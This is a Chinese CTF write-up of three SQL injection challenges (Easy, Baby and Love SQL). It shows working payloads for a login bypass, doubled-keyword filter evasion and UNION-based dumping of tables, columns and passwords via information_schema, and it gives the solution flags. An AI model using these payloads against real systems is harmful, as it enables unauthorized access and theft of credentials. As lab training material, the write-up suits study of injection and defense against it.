2019 Easy SQL
万能密码:
2019 Baby SQL
输入账号密码试试
整一手万能密码 ?username=1' or 1=1#&password=1
我们先闭合前面的,然后看看报错吗?果然报错了
我们的or去哪里了,于是我们进一步测试,发现过滤了好多关键字,比如or, select,where, union。应该是用函数replace给我们替换成了空白字符
知道了这样,我们就进行绕过,于是拼接字符,无法用order by 1来判断字段个数,我们只有使用联合查询看他是否能查出来,应该列数不太多,于是我们构造
1' uunionnion sselectelect 1,2#
于是我们发现出现错误,所以猜测列数错误,于是我们再加一列继续构造
1' uunionnion sselectelect 1,2,3#
这次显示出两个显示位,有显示位
2.'3'就是我们的显示位,于是我们就在这两个地方随便选择显示查出数据的地方
接下来我们开始查当前库
1' uunionnion sselectelect 1,2,database()#
然后查表
1' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
然后我们查出来两张表b4bsql和geekuser
于是我们再继续对表进行查列字段
1' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'#
查出三个列字段:id,username,password
于是我们就开始爆数据
1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#
flag:flag{30efe617-40d5-4840-a848-c54c84940527}
2019 Love SQL
发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:
账号:1' or 1=1# 密码:1 (随便输)
跳转到了check.php页面。并得到了用户名和密码
尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
1' order by 4#
可知共3个字段。用union
查询测试注入点(回显点位):
1' union select 1,2,3#
得到回显点位为2和3
查表:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出这两个表,我们试一下l0ve1ysq1这个表:
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
得到这三个字段,爆数据:
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
得到flag:flag{3f696fcc-86fc-4039-acca-0bb36a937b48}